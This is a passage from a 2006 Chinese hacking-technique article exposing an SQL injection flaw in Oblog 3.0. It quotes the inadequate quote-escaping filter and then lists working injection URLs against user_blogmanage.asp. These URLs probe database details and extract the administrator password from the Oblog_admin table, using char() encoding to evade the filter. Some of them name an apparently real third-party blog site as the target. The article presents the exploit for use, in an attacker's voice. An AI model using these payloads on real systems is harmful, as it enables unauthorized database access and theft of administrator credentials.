学院首页>安全防御>黑客技法>这儿有个窟窿:Oblog3.0漏洞曝光

这儿有个窟窿:Oblog3.0漏洞曝光

作者:刘震宇 来源:安全中国 添加时间:2006-5-26 13:17:59

再看看文件最上面对id变量的过滤:id=Oblog.filt_badstr(trim(Request("id"))),只用了这条语句,函数代码如下:

public function filt_badstr(str) 
If Isnull(Str) Then
filt_badstr = ""
Exit Function 
End If
Str = Replace(Str,Chr(0),"")
filt_badstr = Replace(Str,"'","''")
end function

  只去掉了\0和单引号,呵呵,这怎能阻止我们的注入攻击呢,找个使用Oblog3.0 SQL版本的站点牛刀小试一下:构造环境测试语句:http://www.boyqs.bloger.com.cn/user_blogmanage.asp?action=Move&subject=1&id=@@version)--,一定要注意语句最后面的”’”,否则不会成功的。

  以上注入我们选择的是第一条语句,多了限制条件,就是不能使用空格且提交的语句中要含有逗号。我们可以使用/**/来代替空格。由于限制条件多,以下测试中我们控制程序执行第二条语句。进一步环境刺探:

http://www.boyqs.bloger.com.cn/user_blogmanage.asp?action=Move&subject=1&id=1%20and%20db_name()>0-- 
0">http://www.boyqs.bloger.com.cn/user_blogmanage.asp?action=Move&subject=1&id=1%20and%20db_user>0--。

  嘿嘿,测试成功,由于注入语句中不能包含单引号,身经百战的我们当然很容易饶过这条限制,我喜欢使用SQL中的char函数饶过,正好手头有研究动易系统时写的char编码工具,先看看Oblog数据库的表结构,在Oblog_admin表中我们感兴趣的只有id,username和password字段,先暴出admin用户或者id唯一的管理员账号的密码来瞧瞧:

http://www.target.com/user_blogmanage.asp?action=Move&subject=1&id=1 and 1=(select password from Oblog_admin where id=1)--或者
http://www.target.com/user_blogmanage.asp?action=Move&subject=1&id=1 and 1=(select password from Oblog_admin where username=char(0x61)%2Bchar(0x64)%2Bchar(0x6d)%2Bchar(0x69)%2Bchar(0x6e))--

第 2 页,共 2 页 [1] [2]
站内搜索